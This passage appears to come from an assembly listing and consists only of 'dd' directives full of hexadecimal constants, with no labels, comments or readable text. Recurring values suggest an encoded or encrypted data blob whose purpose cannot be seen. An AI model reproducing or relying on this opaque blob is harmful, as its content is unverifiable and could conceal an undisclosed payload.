0D7F1CD74h dd 9A242016h, 5D4CB798h, 0E2873407h, 66443218h, 66223AFCh dd 73ED6215h, 4E05428Bh, 9394CD83h, 137EB79Ch, 0E771340Ch dd 0DF9A93D5h, 64CE3D6Ah, 0D4223215h, 0E3D7532Bh, 609A1A64h dd 0E2CCE4Ah, 6BC62E7h, 6613BA1Ah, 7E83215h, 0D7F1CD74h dd 8F242016h, 66113212h, 0A7D86F1h, 697E3395h, 66222492h dd 6600DB15h, 0C99A3215h, 461AB8B6h, 1F2CD6B9h, 62010E9Ah dd 0EBC7CD40h, 747F6F90h, 662FDB13h, 6FDC3215h, 6255154Dh dd 39CFA2D5h, 996EE1F6h, 73933DC5h, 8F883215h, 66443205h dd 0A56C5B51h, 9199D572h, 15A46428h, 0E2D82437h, 6623BD1Ah dd 0EFE83215h, 7FFD5290h, 0ED225213h, 0E3E453DEh, 60031A64h dd 0E687C75Ah, 6644321Dh, 0F5B875h, 7DD3EAAh, 9AF30D7Dh dd 8BC452D2h, 0D3DD53E4h, 600331A4h, 6691B61Ah, 72AD3215h dd 36223215h, 0F1BA1FFDh, 4B6A238h, 5C8338Fh, 0E4535DEDh dd 0EBEFE5E2h, 74B36F90h, 0EC4B5213h, 66223217h, 0E41E5375h dd 6688321Eh, 664434FCh, 0D21E2115h, 79BBBF8h, 668823FCh dd 34BFBB15h, 9F131E69h, 0D190975Ch, 0C94741B2h, 0B6BB1F13h dd 66223FFCh, 0EA389815h, 0B8FE499Eh, 22D3CE1Fh, 0E3ABF2C0h dd 60084799h dd 6686B41Ah, 6FAD3215h, 3223215h, 0B47FD060h, 0BD57276Ah dd 664ABF1Ah, 6FCB3215h, 2113215h, 0EACBDEE1h, 28CCDA10h dd 4E53B7D3h, 8F563407h, 66883201h, 2F2C47DEh, 198D8C53h dd 0A08F417Dh, 0B593C3B1h, 0CF64B351h, 3D4C7E7Dh, 6BF852EFh dd 0B2883215h, 34118BE9h, 9D59813h, 0EA8F0B33h, 0D36075h dd 7C84BACh, 0D797CD74h, 69172016h, 6688269Bh, 664BDB15h dd 3B753215h, 39242976h, 7F4CD378h, 0A13A755Ah, 3BA7BF00h dd 9E17202Eh, 8EE8E2EAh, 66443207h, 0BB9B06ACh, 77F0A223h dd 8C220912h, 0FAE43EAFh, 0D12D28FBh, 9A4169C5h, 0E301534Bh dd 605D4785h, 663DB71Ah, 0EC1E3215h, 6688320Ch, 664426FCh dd 290F7615h, 0DAD39D1Eh, 15724191h, 4CC0E705h, 5830E79Bh dd 1794F499h, 218E203Dh, 664437FCh, 6F20A315h, 0AB7957B2h dd 934B3431h, 65F587EAh, 0EBDE3407h, 742A6F90h, 6D615213h dd 0E9443215h, 75693EA6h, 4DFB775Bh, 99E9D861h, 75AD52C5h dd 99223215h, 30C37D6Bh, 0F33FFDFEh, 21B50AFDh, 0BD714D35h dd 969136C6h, 0E3015394h, 605D4781h, 0A043CE75h, 74394390h dd 0E706D13h, 0B2FF52D9h, 0D797CDE9h, 6172016h, 68E58C73h dd 9609E894h, 0EB432CB4h, 742A6F90h, 0B677CB13h, 664CB81Ah dd 6423215h, 0B4AF5474h, 0E30153D6h, 605D4771h, 289B5475h dd 0E3D7539Eh, 609A1A64h, 68C43D4Ah, 8F223215h, 6611321Ch dd 6CA0C306h, 32747293h, 6CCB523Fh, 72113215h, 7863C5E3h dd 88FDE52Dh, 6631DB18h, 4C43215h, 14AC00EAh, 0AE479DE7h dd 872FD0AFh, 356C0171h, 28E05344h, 8FDADB41h, 6622321Bh dd 67EB3B0Ah, 8BFD8CF9h, 89D0A95h, 0D34284AAh, 6AD3B234h dd 0D73DCD74h, 8F422016h, 66223205h, 0DF785B2Ch, 0A8131A2Dh dd 763A9499h, 331A8EA3h, 5D4CB798h, 6713407h, 0C7DBB9AAh dd 5E93523Ch, 66113AFCh, 244C915h, 0D86A4C69h, 994353D2h dd 661FDBC5h, 827F3215h, 0C69A5EBEh, 0B3C5586Bh, 536C0714h dd 13E0B79Ch, 6EAD340Ch, 0ED223215h, 371BD7B5h, 0A074C996h dd 746C4390h, 0E82D6D13h, 6611321Bh, 66883BFCh, 25FB615h dd 0E3586888h, 0EEDC4F2h, 0B79B1A5Dh, 664421FCh, 3E60DB15h dd 62299723h, 0A81D2728h, 0F3CAD833h, 47611DFCh, 65A087EAh dd 74613407h, 7C443215h, 90B5DC76h, 0CDAFCF5h, 0D15D537h dd 56CD316Bh, 3BA7BFB2h, 6917202Eh, 6688339Ah, 99BDC715h dd 0E3ABC7C5h, 60084779h, 0AC373D75h, 0A6A4B373h, 62485382h dd 76115AE9h, 6F613215h, 0E2443215h, 1CFEA19Eh, 0B01764A2h dd 6698327Dh, 0ED225215h, 58EDB3DAh, 722F5DCh, 0E8327Fh dd 8FA04DABh, 6622321Bh, 20CF2873h, 36E5AE20h, 6F0FC003h dd 9943FC0Bh, 74338F80h, 7F043D13h, 8F443215h, 66223201h dd 7A28765Eh, 48E5A8D3h, 3F4A3666h, 7CC5ABAFh, 6CEFD030h dd 4535B79Ch, 0D9243407h, 756191CCh, 7E8851Ah, 3552B798h dd 0E04B340Ch, 66223214h, 6617DBEDh, 6CA03215h, 32747293h dd 0DC42E2EAh, 44FAA02Bh, 742B973h, 69AD367Fh, 9B223215h dd 50B4DE43h, 7DE1D9BDh, 9948D53Eh, 664A61A9h, 6113205h dd 0FC375475h, 95C553B3h, 7192BE39h, 46115A74h, 8FE83215h dd 66443204h, 9A366918h, 8A290F6Ch, 0C1F25E12h, 0E4DF2E49h dd 9DA9549Ch, 69115874h, 66883395h, 60ADC715h, 0BB223215h dd 0B89F172Bh, 0DB1DCD07h, 69422037h, 66222096h, 6A933D15h dd 8F883215h, 66443212h, 0C9287157h, 9F087D1Eh, 44EDB79Ch dd 68AD3407h, 0CB223215h, 14C5E4B1h, 529013D7h, 2AF2D25Bh dd 662ADB12h, 460D3215h, 4D45D0EFh, 0E3CD43B4h, 603033B8h dd 87A46275h, 0CE9CA4Fh, 664CDB55h, 0A2493215h, 0B9B6619Eh dd 66E01568h, 8F443205h, 66223206h, 97895051h, 4F522FB2h dd 22D8E409h, 99C2BF2Dh, 0E5FB535h, 66893215h, 0A1B875h dd 0C43FD9Eh, 6600DB15h, 3D643215h, 917EEFC0h, 79D3D26Ah dd 8B4E8704h, 993C8EC7h, 74668F80h, 0E3ABCE13h, 60031FF0h dd 973DB9E0h, 8F42201Dh, 6622321Ch, 0F105766Dh, 51CE72D9h dd 1FD9B990h, 624200Ch, 66CAF094h, 770497Eh, 49E9879Ch dd 0EFDB3407h, 740FB788h, 0E7EE5213h, 0DB42C7h, 2DDCFC94h dd 1F8CB974h, 68E200Ch, 0C0401CAAh, 32E9B32Ah, 73FEAD7h dd 520901EAh, 7A422A31h, 422EB90Dh, 6615F694h, 97093215h dd 7E58340Dh, 66DBB1EDh, 5E83B61Ah, 6E613215h, 0B2443215h dd 8C8BA31Ch, 0E15AD32h, 668850ACh, 9E60369Ch, 63C2BB45h dd 66113211h, 0E18CDA96h, 0EF181611h, 8E421619h, 6611321Ch dd 57C83F4Eh, 0DDC88BB0h, 91A354FBh, 74B5BE3h, 69605275h dd 99443215h, 170D15EFh, 37BB2257h, 3B3636B6h, 691F4091h dd 66222B9Bh, 6602DA15h, 0D6E13215h, 3286659Ch, 0C4860BE9h dd 59B260B5h, 0A3555C52h, 69256ABCh, 66223A9Ch, 64973D15h dd 6883215h, 93840374h, 7E5FB79Ch, 35E43407h, 53E68F40h dd 0ABC538C7h, 62493881h, 59D3C794h, 8D013CEEh, 3D9ABB48h dd 989D3D75h, 1DB748AEh, 0E0875325h, 6644320Eh, 0AAAA8875h dd 68F973E2h, 0A5883215h, 0D564995Dh, 18B8035Ah, 29FD92A9h dd 35E96B65h, 85175EAEh, 3DFC3304h, 46354616h, 35E4DC94h dd 0EB4B23F6h, 66223214h, 6BC54ECh, 39878343h, 664434FCh dd 3A5B4F15h, 7C771BBh, 3F5E538h, 64F93735h, 222134B6h dd 0DB3C1231h, 638E9117h, 46214FC2h, 662238FCh, 65AF915h dd 1CC0AE2Fh, 9957CB9Eh, 0D8744A65h, 366B36AFh, 62AC4614h dd 88C56C4Bh, 365836AFh, 661137FCh, 8AFCE715h, 0D913CFD6h dd 6F4A5D2Fh, 0E715D5D4h, 6A2F7CE2h, 39BA1BA8h, 46064616h dd 32FFF494h, 0E8199Fh, 7BCEB9Eh, 333A44EAh, 3E0352A8h dd 42E41B4Ah, 0E71B6F11h, 3E3052D2h, 6601DB4Ah, 0E78E3215h dd 0F2755387h, 384497C9h, 9739EC31h, 0DB013AC2h, 60562C1Ch dd 67A93D75h, 9F113215h, 7AFC295h, 0E34BCD90h, 6622322Ah dd 661CB41Ah, 6E613215h, 81443215h, 0AECCC881h, 8E7F52AAh dd 66886D82h, 6643B81Ah, 0E62D3215h, 66113214h, 6250DBEDh dd 76AD3215h, 65223215h, 5774FA91h, 3BBCCFC5h, 6513B2E7h dd 0EC018E5h, 66113B25h, 69AC3E9Ch, 66442091h, 662FDB15h dd 1A23215h, 0CA4C9CC2h, 0FA2CB09Dh, 316B5403h, 0DA350694h dd 3CDCDE09h, 7AF88C43h, 941366F9h, 661DDB4Bh, 30E73215h dd 3AA567BBh, 15ACD2A3h, 0B47A15F1h, 61053D11h, 69443215h dd 66223390h, 0F398C715h, 609A32C4h, 6EC33DEDh, 69223215h dd 66113093h, 0CE95215h, 662CCA11h, 6223205h, 0B99AF2A7h dd 152B5A74h, 72CD3215h, 6648CB31h, 8FE852EDh, 6688321Eh dd 0A6AF43E3h, 65551724h, 7372DC5h, 4435A7EAh, 6CAD3407h dd 7D223215h, 0F700B192h, 0B51421D4h, 0B7C1BBE2h, 8F24200Ah dd 66113213h, 0EF63BA4Eh, 0ED1442DDh, 0A2A11601h, 75953D11h dd 8F883215h, 6644321Bh, 0F04AD2Ch, 36DB35Dh, 0CEE0ACA8h dd 52BB51A8h, 0A2A36B31h, 66113211h, 6684BA1Ah, 61AD3215h dd 6D223215h, 994E05C5h, 1260D57Ch, 8F44324Bh, 6622321Ah dd 0FD49EF86h, 0E2F1A7CBh, 96F4C84Bh, 35C5C724h, 0A590D19Ch dd 66883211h, 6640D994h, 7AA53215h, 52986E31h, 68083D31h dd 6443215h, 662235FCh, 0A02D9715h, 0AFBAB02Fh, 0E44B9F74h dd 6622321Dh, 6613B01Ah dd 7E83215h, 4F15EC10h, 215C1F3Ah, 22122DCEh, 188D1631h dd 4B5BE952h, 490B63CBh, 57E903EDh, 9F7003D2h, 4270B342h dd 45A3441Ch, 0F5AF644Eh, 0E791BB5Dh, 6196B8FBh, 38D103E3h dd 69F85275h, 57883215h, 0B3CBBABAh, 0EB576C0Ch, 4B0477CEh dd 0E90983h, 35D8F294h, 62CEB374h, 0EF113215h, 56711629h dd 6650DBD5h, 42A63215h, 93B8C089h, 7A8BD15Ah, 0D56D6965h dd 0BD9C0F3h, 13BF0BD0h, 606152E8h, 7F443215h, 976F31B7h dd 6715357h, 8E778D1Ah, 66443210h, 67AD465Bh, 0E7706D3Ah dd 13172CD6h, 52BB5343h, 0A2A36C31h, 66113211h, 0AF4FB3E9h dd 4F5E4D3Dh, 0AF9F67CAh, 4F0B4D3Dh, 33746FFAh, 0A3C5D79Ch dd 66223211h, 0E115DF96h, 0EFD41639h, 0ED241601h, 0ED7553DAh dd 0A2921601h, 670B3D11h, 9F443215h, 0DB9FB9EDh, 69172036h dd 66882999h, 77AC5215h, 4F223215h, 765F161Bh, 9992F3F3h dd 0C148FDAFh, 0D23FC35Bh, 7DFB94Bh, 9977CDACh, 81C552EAh dd 7DC613F5h, 66113FFCh, 10705615h, 61008B38h, 16376461h dd 5770D16Fh, 6F6052D5h, 31443215h, 0FF88DA02h, 60E926E2h dd 8FD0E29Eh, 66443218h, 0ED91AEE6h, 0C8D1B0E5h, 63F060Ah dd 0E1653E3h, 66223215h, 0ECE3334Fh, 0E9876817h, 66443206h dd 66223CFCh, 9E05C515h, 0CFD9A213h, 0D102F2BFh, 56B21247h dd 0ED7752DDh, 67023DEBh, 9A443215h, 679D6574h, 67113215h dd 0E6E86DEBh, 0D94BB1F0h, 52DD53CCh, 423DB392h, 4A5809B7h dd 5DE6374Dh, 0E32D1EC5h, 66113214h, 6E61F3ECh, 68503ECh dd 662BDBE0h, 0AE733215h, 2811C116h, 7F57D26h, 6A73D5Fh dd 9FEECDEAh, 0CE356744h, 575FDD40h, 3B261679h, 33B9074Dh dd 69E829FAh, 6644339Eh, 0D92DC715h, 0E14153EFh, 0B07F1621h dd 3E600692h, 662223FCh, 0B90E4D15h, 1F5DDDF0h, 0F5197551h dd 0CE4D4B3Bh, 52EEF0AFh, 0A20B6831h, 7DCD3D11h, 6223215h dd 8FC8B973h, 66883204h, 0E6FFC15h, 9E9C4BBAh, 0C245F815h dd 455F304Ah, 361353E9h, 3918BB4Ah, 6601DB75h, 0FE033215h dd 6A8E5AB5h, 9D267CC5h, 8895BB5Ah, 0E7EE7667h, 753F4F7h dd 6626DE94h, 52983215h, 668C8C31h, 94453215h, 662ADB4Bh dd 0C3C43215h, 0AF77CD50h, 0AF2C3259h, 0EF223217h, 0EE1E1601h dd 66883218h, 66443AFCh, 2F558915h, 0C18520EEh, 1B0DCD53h dd 9342200Dh, 7E5FA79Eh, 0E41E3407h, 66883214h, 664BDBE0h dd 0AFBA3215h, 3A10F8F2h, 5053F43h, 4FE5C11Eh, 6FB70B9Ch dd 6917200Bh, 66884D91h, 6654DB15h, 8F7A3215h, 0EBA49DC1h dd 0F455CF8Eh, 0A9F9AEB0h, 52DD115Ch, 0A2906831h, 66883211h dd 664438FCh, 6F00DE15h, 19C76392h, 0ED77C15Ch, 0EF141621h dd 662637F5h, 62143215h, 0E1883215h, 9E181611h, 629C6444h dd 0EF113215h, 0A8896CE4h, 6654DB4Ch, 79CC3215h, 0A7051C61h dd 0CD6360ADh, 0DC0869B0h, 0EA2D8B0Bh, 66113214h, 9A1DDBEDh dd 6FADCDEAh, 4F223215h, 5C156D83h, 0CC173F3Dh, 3C6006EAh dd 6926F696h, 66113C9Bh, 6681DB15h, 0D86E3215h, 13A6BCBEh dd 994ED6FEh, 0E7D61621h, 664436D1h, 69AC3D15h, 8F113215h dd 6688321Fh, 66CEB70Ah, 0D8D8F6B9h, 8F70C96Eh, 6688321Ch dd 251FE067h, 0DB7E64B8h, 6A9C3D1Ah, 8F883215h, 66443212h dd 8360766Bh, 0EDB3E9C1h, 0EFDF1619h, 6283B3F2h, 0E7223215h dd 661136D2h, 42B4B515h, 6655DB49h, 0EA0D3215h, 5EB86DC4h dd 63C8932Dh, 24BD9A11h, 8F08E25Dh, 66113206h, 927FCBF2h dd 0AEB98E04h, 56DC5A71h, 50668017h, 99F7B8DFh, 0E71C1621h dd 662236D1h, 0ED775215h, 0C5DD8DCCh, 62500E7h, 94A354ECh dd 0A1707475h, 74A80390h, 66443213h, 6EAE3D15h, 69113215h dd 66883090h, 9F255215h, 67C3B7D2h, 66113407h, 75613215h dd 39443215h, 0E0B3CEF9h, 2C8DEE48h, 58CC180Fh, 2388385Bh dd 0DBA167A5h, 600846C1h, 5D0C3D15h, 9A443215h, 0F054AF98h dd 0E31E340Dh, 66883201h, 66443DFCh, 0B1F6A315h, 0F2444120h dd 9B034C5h, 13970824h, 8FF1CDEDh, 66113207h, 317B132Ah dd 0AB3FAA29h, 2B5F8F3Fh, 6EF2A2Eh, 0E3778EA2h, 605627C0h dd 63A03D75h, 0DE113215h, 6400FD7h, 9EB975h, 7E71CABh dd 0B3ACB174h, 28E2000h, 6472B01Ah, 63CB3215h, 75113215h dd 28C2EAC8h, 7391B7D2h, 66233407h, 72F83215h, 0DA883215h dd 97CEEE56h, 98150B14h, 13B84010h, 1E90D76Bh, 6DBF58Dh dd 662234FCh, 6CE2EC15h, 9F7F18EAh, 357BB798h, 99D7340Ch dd 0D39CCBC5h, 609147B1h, 26F9BFECh, 93242814h, 24CBDD94h dd 0A1095454h, 33B15C50h, 89A3C53Ch, 33E45C50h, 2452F594h dd 9E245454h, 6621BF1Ah, 0A3913215h, 0EFD8534Bh, 0ED86BBEDh dd 0A2A31611h, 66113211h, 6689B91Ah, 0EDB13215h, 74018FA8h dd 6603DB13h, 0E2693215h, 78339893h, 736CD179h, 0BE28FA0Dh dd 475E9973h, 99BBCDACh, 0A613CEEAh, 6619DB75h, 29703215h dd 0B2382839h, 0D12DA545h, 8E7153DAh, 66883206h, 8CFFAA69h dd 32425754h, 0D695194Fh, 0E621058Fh, 691509B1h, 66223294h dd 0A89A6815h, 66316374h, 0E7443215h, 0E97FE2D4h, 0E7E03326h dd 0E9D5E2FCh, 3F45B826h, 6626B01Ah, 37713215h, 0AEB8534Ch dd 664438FCh, 5AC69815h, 0D5FDB682h, 6AB41CEh, 66443EFCh dd 0EB7E7415h, 0C2001EC9h, 0FA43FA2Fh, 0DC16533Eh, 99DDCDEAh dd 934BE43Ch, 300F06EAh, 40580EABh, 42563345h, 4B496C11h dd 36AE2E29h, 664420FCh, 0FC6F3015h, 97374537h, 8C89E270h dd 52C78EDAh, 0A70B519Eh, 9EE93AFCh, 2C71F324h, 9904B71Ah dd 6DCBCDEAh, 7E113215h, 5A97D36h, 71978E6Ah, 37779461h dd 3BF9BB48h, 620F62E0h, 0E194C531h, 697A1611h, 66113B9Ch dd 0DEEE5215h, 0ED226BABh, 0E31B53D7h, 60032A20h, 6600B61Ah dd 0DEB13215h, 53CF6E1Ch, 4313D2D4h, 18EF043Ah, 0E8FB6555h dd 4730576Eh, 7C146DEDh, 4BA98B1Eh, 559A090Bh, 6623B31Ah dd 6DE43215h, 4F0D3DD5h, 8F443215h, 66223219h, 0FCED6D2Bh dd 7AE3394Eh, 0D9F5698Dh, 6625BC1Ah, 0E11E3215h, 66883214h dd 27C1F5E0h, 6724203Ch, 93113215h, 66DCC77Dh, 4268BB15h dd 577B88A8h, 3BF83315h, 6690BD1Ah, 8F243215h, 66223218h dd 5674237Ah, 0D1F83A96h, 5A00D2D9h, 0E39A5462h, 93705307h dd 2B1D8847h, 3F166DEDh, 6628DB4Fh, 67D3215h, 740A6800h dd 40F248E0h, 81B47C7Dh, 4205B90Fh, 8F8CF696h, 66443212h dd 67540615h, 6CB8845h, 76D85E9h, 67CB3DB8h, 93223215h dd 66113DFCh, 74499C15h, 7B287267h, 0B72755D4h, 0CC309663h dd 4925879Ch, 36B83407h, 662232ADh, 9A57BB15h, 0E5AC369Eh dd 5BBD36D1h, 88CCDCFBh, 66CBB71Ah, 0E7703215h, 0BB99EF2Bh dd 0ABA73DC8h, 8F113215h, 66883207h, 0EE6F9C01h, 0B561334Eh dd 0F1EC39h, 6C6BBAF6h, 0DE149C5Ah, 28F37637h, 66113338h dd 44BD7215h, 0EF0AE351h, 0E5DE6A13h, 629836F9h, 668C8A31h dd 0A0453215h, 0A9A9524Dh, 661126FDh, 782BD115h, 0DEB95E35h dd 417D9D0Bh, 920D95AFh, 494CCDB1h, 12FF54A1h, 0EF43685Dh dd 743E9FA0h, 61053D13h, 69443215h, 6622339Fh, 0E71ECB15h dd 66883214h, 4A66DBEDh, 77CB3215h, 0E1113215h, 4F282DEFh dd 0BE2CDC4Fh, 34AC637Ah, 719B6004h, 668821FCh, 977EED15h dd 0D2662A44h, 43EF6580h dd 192DF55Bh, 0B2720B5Bh, 99DCE1FCh, 74F852EAh, 7F883215h dd 209A2873h, 364FAE20h, 6F5AC003h, 3511FC0Bh, 188DB398h dd 74F254Eh, 51AC6745h, 5794A83Ah, 3B401679h, 51D1B34Eh dd 60DA83Ah, 486FB373h, 0B1CF543Ah, 73A13D74h, 69113215h dd 66883D94h, 664EDB15h, 0A5A03215h, 0EB95542Eh, 70587661h dd 4F05B726h, 0E6423407h, 0E777ACDAh, 7E749F2h, 9F47FAD4h dd 2B6D7538h, 30C11B51h, 0D3E5BCABh, 3BB2B363h, 2860BE1Ah dd 6779DC94h, 0A8093454h, 0F7C7087h, 8D6FF494h, 9610E441h dd 6682DB4Bh, 0DF713215h, 27A29EE9h, 65CCC6B6h, 8F98F2D4h dd 66443204h, 3AA5FCF1h, 0E6518469h, 0E9D53980h, 0F3D06A45h dd 69EA03A2h, 66112A90h, 740B3D15h, 8F443215h, 66223218h dd 0D9D872A0h, 0E16CE1AEh, 5CF70F97h, 27BFBB78h, 8F17203Ch dd 66883212h, 8A596B5Eh, 5BC60CAFh, 66103215h, 6768B11Ah dd 0EA4B3215h, 6622321Dh, 0CFB975h, 79A5CAFh, 0DDFF0C94h dd 0E32D89AEh, 661133D3h, 64093D75h, 35443215h, 0A4A9544Fh dd 661ADB74h, 28EC3215h, 7A577345h, 6E043EB5h, 16AE6528h dd 0A7A4585Ch, 0A70B35FAh, 0E76530F2h, 90F2CDAh, 0C7326074h dd 67DAA2B4h, 58AB68C2h, 77F8524Ah, 0CA883215h, 0E04456F5h dd 6AE19F0Bh, 2047C5EEh, 3C6CFA68h, 724D695h, 66223EFCh dd 54692015h, 8F7B61C2h, 0A3F2C978h, 629D65A1h, 67113215h dd 42B4B9EBh, 6940F696h, 66223595h, 679C3D15h, 93883215h dd 49E9879Ch, 0EC2D3407h, 66113214h, 1F15B9E0h, 8F42200Ch dd 66223212h, 5FBF8096h, 99DFE5C3h, 4248B926h, 9326F696h dd 4205B945h, 698CF696h, 66443E97h, 60A33D15h, 69113215h dd 6688329Eh, 6FAD5215h, 74223215h, 32C9D5E2h, 445F0927h dd 35B6B375h, 158624h, 0CD96D494h, 62096074h, 0D92F1431h dd 0D8746A0Ah, 79137675h, 1884DC94h, 80C56F91h, 1E417C7Ah dd 0B80DC94h, 900974D6h, 80668180h, 9A7CC23Ch, 7FCCB73Eh dd 8FE83407h, 66443218h, 0BC14B58Dh, 0AFF2EF01h, 0D96402DDh dd 6655DBB1h, 739B3215h, 4C89573Ch, 0D27562CFh, 0E17D0379h dd 70B3394h, 613D2D4h, 90095444h, 0E71DDA9Ah, 0B9DEFBD6h dd 0E3125301h, 609A1E48h, 664434FCh, 14F25215h, 3629CA93h dd 668CDE94h, 52CD3215h, 67C6A31h, 0BFC1ABh, 9F255342h dd 6FE38847h, 0E7680CA1h, 6C0EDCE7h, 3C583302h, 2E69FA14h dd 9A0B8C03h, 4255BBECh, 7D0E3D09h, 6443215h, 66223AFCh dd 11B68915h, 3E915500h, 6643DB82h, 1B583215h, 0EE3A9C01h dd 69E9534Eh, 66443399h, 91CBCA15h, 69113217h, 66883394h dd 0EF15CB15h, 62E3B3F4h, 0E5113215h, 6A0F36FCh, 6ACD6E31h dd 0A84ACE31h, 0EF11325Ah, 8EE81601h, 66443219h, 0C2EF9798h dd 754CF5E3h, 0CFE3540Dh, 691E6844h, 66223493h, 669D3D15h dd 7883215h, 6EADFB24h, 0EE223215h, 0D4C30116h, 0EDE6E532h dd 745BE380h, 6624DB13h, 604D3215h, 0A7AFFE19h, 0E24B302Eh dd 662232ADh, 0D84765EDh, 544044F8h, 0AE32DBAAh, 38D50327h dd 694EC814h, 66882095h, 6ACC3D15h, 8F223215h, 66113212h dd 0D3677780h, 8FA906D8h, 66223206h, 5DD2B010h, 1205B673h dd 1452E251h, 35AC3289h, 344956ADh, 668833AFh, 3C953315h dd 662AB51Ah, 69713215h, 66883298h, 0EB7F5315h, 60302C1Ch dd 9983B71Ah, 34E8CDEAh, 0E29DB373h, 67946DFBh, 0CD796374h dd 3F9F9528h, 26CD394h, 0B7D52597h, 0BDC6C394h, 0AE01DA68h dd 67CC3D4Ch, 9A223215h, 2BA4BF98h, 99703407h, 68CA3DF4h dd 8F223215h, 6611321Ch, 8F175020h, 8DE3ED04h, 4698527Bh dd 3410DD79h, 7D26845h, 7E39BF9Ch, 0E42D3407h, 66113201h dd 66883DFCh, 5315B615h, 8235B158h, 41BF2ADEh, 0B66CFCD6h dd 3160269Eh, 0A1A3D59Ch, 66113211h, 668CF594h, 5AC33215h dd 0E6426E31h, 0E4AE2FF4h, 7B298D1h, 34603E9Eh, 0A4A3D09Ch dd 66113211h, 0E18CF096h, 9A181601h, 662DB81Ah, 6CF83215h dd 9F883215h, 0ED3C43B0h, 0EC69F712h, 202E5A03h, 52013215h dd 0FBCFCA31h, 60302B6Ch, 661BDB75h, 6FDC3215h, 8D6FCD04h dd 22D9D917h, 1C318973h, 0EDBBCD74h, 0A2C71619h, 67A83D11h dd 9F113215h, 7EF5B79Eh, 0EB4B3407h, 6622321Dh, 6613B01Ah dd 7E83215h, 0D024D2C4h, 7D3B82Eh, 6BFCB716h, 0E2873407h dd 66443214h, 8FD403E9h, 66113207h, 809F572Bh, 720357BBh dd 0F9A1A7DDh, 0ED53C895h, 96B93534h, 9675F424h, 662220FCh dd 27523D15h, 89F3F029h, 0C9453D1Eh, 2BC3468Dh, 4EA962h dd 67063DB8h, 9A443215h, 6920D2D4h, 66113391h, 0E38BCE15h dd 60561E48h, 6636B11Ah, 8F713215h, 6688321Fh, 379C685Eh dd 0D74AFF34h, 0D91E8E1Bh, 0EB8753DCh, 6644320Ah, 663BBF1Ah dd 72F83215h, 0AD883215h, 0DACF3D20h, 852B142Ah, 0FA5CF640h dd 74A00D0h, 36AC6994h, 52A96A43h, 62D5B131h, 9B305475h dd 15F88A31h, 6432A8Eh, 6613BA1Ah, 94033215h, 3A0BE3AEh dd 698F535Eh, 66113395h, 35A5CE15h, 67741500h, 0FC9B63DDh dd 0E71E7D35h, 0E5B3E4h, 0BF8DB35Fh, 0E70D4D6Ch, 0C1864AD4h dd 3F4033D5h, 0E64B52E9h, 66223211h, 0F9FB8A73h, 7588D1Ah dd 3560069Eh, 0A5A3D19Ch, 66113211h, 668CF194h, 7AC33215h dd 69426E31h, 66113292h, 7E86115h, 0DBC7534Eh, 6030379Ch dd 0A3953D14h, 9E883215h, 665DBC1Ah, 72CB3215h, 7A113215h dd 853F1FC9h, 0CC3C68FEh, 1589DB9Ch, 3B51BBE6h, 5DB68D33h dd 74478398h, 0FFA63D13h, 9F113215h, 7BB1BF2Eh, 0E24B3407h dd 66223299h, 6610B61Ah, 5D703215h, 7466DF98h, 1FA63D13h dd 69113215h, 6688339Dh, 0FBC9C715h, 603BE100h, 6C2CDE0h dd 0DB77A6h, 71EEB9Eh, 52A36246h, 817A9031h, 95096948h dd 3BA359B7h, 6979ED9Ch, 6611339Eh, 0E301C715h, 60562BD4h dd 6DCACE75h, 7F113215h, 1DAFE4DCh, 399E7187h, 519A2C2Dh dd 3C728479h, 79AEDB74h, 0EC4B3215h, 66223209h, 6607B31Ah dd 77613215h, 0E1443215h, 3A7835AFh, 64945554h, 0FE362B60h dd 96943C48h, 0B537AF98h, 0E81E340Ch, 6688321Ah, 664438FCh dd 5A4A1015h, 43E9BB2Eh, 9988D88Dh, 6642DBC6h, 0DC213215h dd 46B8B9Eh, 6689BE1Ah, 0E5B13215h, 7427BBA8h, 0E21E3213h dd 6688328Dh, 74C53DECh, 6223215h, 661137FDh, 1F79E015h dd 1EC54Dh, 859ADD94h, 0FF940974h, 698E2003h, 66446791h dd 68CA5215h, 0A1113215h, 455BDA73h, 43EC92CDh, 2EE88EDDh dd 3C70523Dh, 66883DFDh, 6192DB15h, 0F078F333h, 46DB161Fh dd 9F62D8Dh, 6644BC1Ah, 77D3215h, 4CE8B72Eh, 0E3873407h dd 66443221h, 662222FCh, 3440F915h, 0D1CF3CDFh, 0A2389808h dd 0F2ED805Fh, 0B5F8CBD7h, 8F77CDEBh, 66443201h, 6C443B96h dd 0D636D81h, 0C4645750h, 9263FBCDh, 0AE5D7D54h, 5794B72Eh dd 0E3873407h, 66443287h, 6638BF1Ah, 8F713215h, 66883204h dd 0CBA700Ah, 6FA29672h, 5183F5A0h, 5EF8F1A4h, 71E643Ch dd 662221FCh, 5F04BB15h, 0E14C2576h, 2DBB43B7h, 3ACE8DF1h dd 0E8A885C6h, 61258F96h, 69443407h, 66221D91h, 661CDB15h dd 0C3953215h, 9EE57208h, 0BD5E5D18h, 9383349Fh, 76CD8F96h dd 69443407h, 66221F91h, 6F983D15h, 6883215h, 66C73DE0h dd 7223215h, 3A33B798h dd 6B61340Ch, 87443215h, 0A536B2ACh, 0D9A36870h, 0D53A34BFh dd 99BA2FFCh, 0E319C7EAh, 60030390h, 9898B61Ah, 0DD24CDEAh dd 65FF706Bh, 669B3D75h, 7883215h, 0DEF9B174h, 67242B61h dd 6647B71Ah, 0EE873215h, 6644320Ch, 7ECDB375h, 8F1F9ED4h dd 66883219h, 6CB4113Eh, 60089E6Bh, 627EB727h, 8A0D0974h dd 69422B61h, 66221990h, 639D3D15h, 6883215h, 7B6851Ah dd 6DC6B798h, 69F8324Ch, 2F883215h, 3D092F55h, 1EC56541h dd 16800CA4h, 0D761A633h, 9FBBCDE8h, 0D742CD24h, 0E570CAC3h dd 749557A8h, 0E24B3213h, 66223D89h, 66113BFCh, 0D83B5315h dd 86DB91E7h, 0E31979C4h, 600846CDh, 66C5B71Ah, 69BD3215h dd 66222490h, 6600DB15h, 681A3215h, 2F3F660Ah, 0D9A63A52h dd 0D611EC59h, 0ED231553h, 74699790h, 662DDB13h, 0F2513215h dd 1D1351C8h, 2767B8F3h, 43178B89h, 2AC67A6h, 0E7A75A62h dd 0E57555E0h, 9AE7B368h, 4FBC26ACh, 5D7D6FFAh, 7F30D290h dd 36A73D13h, 69113215h, 66882795h, 6654DB15h, 34E13215h dd 4B12F0E1h, 0D7C65531h, 0BA668321h, 0E3A9436Eh, 60031F6Ch dd 66883FFCh, 213B915h, 5ED6B24Ch, 0B87E8DC8h, 0D5E8DA14h dd 91ADB36Eh, 7360B61h, 99EE8A45h, 0A1A1CDEAh, 0E715524Dh dd 0E35023E4h, 5D706C6Fh, 7FFCEE90h, 17C13D13h, 69223215h dd 66112597h, 